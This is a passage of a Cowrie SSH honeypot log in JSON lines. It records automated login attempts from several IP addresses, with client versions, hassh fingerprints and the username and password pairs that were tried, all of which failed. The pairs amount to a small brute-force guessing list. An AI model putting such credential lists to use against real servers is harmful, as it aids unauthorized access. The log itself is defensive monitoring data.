fie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:57.856092Z","src_ip":"40.83.182.122","session":"138696403577","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev!","message":"login attempt [dev/dev!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:58.191286Z","src_ip":"40.83.182.122","session":"138696403577","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome2016","message":"login attempt [root/welcome2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:58.209021Z","src_ip":"213.209.159.158","session":"57c12fe0d45b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:59.270698Z","src_ip":"40.83.182.122","session":"138696403577","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.53.94.246","src_port":43312,"dst_ip":"159.203.135.109","dst_port":22,"session":"41fd24ae713a","protocol":"ssh","message":"New connection: 202.53.94.246:43312 (159.203.135.109:22) [session: 41fd24ae713a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:00.246905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:00.252510Z","src_ip":"202.53.94.246","session":"41fd24ae713a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:00.458468Z","src_ip":"213.209.159.158","session":"57c12fe0d45b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:00.488370Z","src_ip":"202.53.94.246","session":"41fd24ae713a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":14218,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9926b535430","protocol":"ssh","message":"New connection: 213.209.159.158:14218 (159.203.135.109:22) [session: e9926b535430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:00.543682Z"}
{"eventid":"cowrie.login.failed","username":"tanvir","password":"tanvir","message":"login attempt [tanvir/tanvir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:01.392013Z","src_ip":"202.53.94.246","session":"41fd24ae713a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:02.011902Z","src_ip":"213.209.159.158","session":"e9926b535430","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:02.016623Z","src_ip":"213.209.159.158","session":"e9926b535430","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:02.614982Z","src_ip":"202.53.94.246","session":"41fd24ae713a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":36962,"dst_ip":"159.203.135.109","dst_port":22,"session":"aeeec1a12f7b","protocol":"ssh","message":"New connection: 102.210.148.92:36962 (159.203.135.109:22) [session: aeeec1a12f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:03.636068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:03.641812Z","src_ip":"102.210.148.92","session":"aeeec1a12f7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:03.884317Z","src_ip":"102.210.148.92","session":"aeeec1a12f7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:04.875674Z","src_ip":"102.210.148.92","session":"aeeec1a12f7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:06.120260Z","src_ip":"102.210.148.92","session":"aeeec1a12f7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wangxu123","message":"login attempt [root/wangxu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:07.858324Z","src_ip":"213.209.159.158","session":"e9926b535430","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:10.441982Z","src_ip":"213.209.159.158","session":"e9926b535430","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":40832,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b5dd44a5e15","protocol":"ssh","message":"New connection: 213.209.159.158:40832 (159.203.135.109:22) [session: 9b5dd44a5e15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:10.567222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:11.721833Z","src_ip":"213.209.159.158","session":"9b5dd44a5e15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:11.725753Z","src_ip":"213.209.159.158","session":"9b5dd44a5e15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":55062,"dst_ip":"10.17.0.5","dst_port":22,"session":"803b1ef9002c","protocol":"ssh","message":"New connection: 89.108.118.91:55062 (10.17.0.5:22) [session: 803b1ef9002c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:12.647344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:12.653798Z","src_ip":"89.108.118.91","session":"803b1ef9002c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:12.799129Z","src_ip":"89.108.118.91","session":"803b1ef9002c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andrey1412ua","message":"login attempt [root/andrey1412ua] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:13.195171Z","src_ip":"89.108.118.91","session":"803b1ef9002c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:14.328052Z","src_ip":"89.108.118.91","session":"803b1ef9002c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wsx11111","message":"login attempt [root/wsx11111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:17.239377Z","src_ip":"213.209.159.158","session":"9b5dd44a5e15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:19.698613Z","src_ip":"213.209.159.158","session":"9b5dd44a5e15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":35428,"dst_ip":"159.203.135.109","dst_port":22,"session":"a133a5d28d3c","protocol":"ssh","message":"New connection: 213.209.159.158:35428 (159.203.135.109:22) [session: a133a5d28d3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:19.785256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:21.161395Z","src_ip":"213.209.159.158","session":"a133a5d28d3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:21.165292Z","src_ip":"213.209.159.158","session":"a133a5d28d3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.80.170","src_port":59208,"dst_ip":"10.17.0.5","dst_port":22,"session":"9602a133ecfc","protocol":"ssh","message":"New connection: 198.12.80.170:59208 (10.17.0.5:22) [session: 9602a133ecfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:22.161807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:22.172435Z","src_ip":"198.12.80.170","session":"9602a133ecfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:22.196294Z","src_ip":"198.12.80.170","session":"9602a133ecfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890987654321","message":"login attempt [root/1234567890987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:22.326906Z","src_ip":"198.12.80.170","session":"9602a133ecfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:23.355670Z","src_ip":"198.12.80.170","session":"9602a133ecfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.241.42","src_port":49688,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed9f7235eba5","protocol":"ssh","message":"New connection: 103.154.241.42:49688 (159.203.135.109:22) [session: ed9f7235eba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:26.200495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:26.206698Z","src_ip":"103.154.241.42","session":"ed9f7235eba5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:26.451084Z","src_ip":"103.154.241.42","session":"ed9f7235eba5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wangyonglang","message":"login attempt [root/wangyonglang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:26.753915Z","src_ip":"213.209.159.158","session":"a133a5d28d3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhbjETuyMffoL8F","message":"login attempt [root/zhbjETuyMffoL8F] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:27.469684Z","src_ip":"103.154.241.42","session":"ed9f7235eba5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:28.717176Z","src_ip":"103.154.241.42","session":"ed9f7235eba5","protocol":"ssh"}
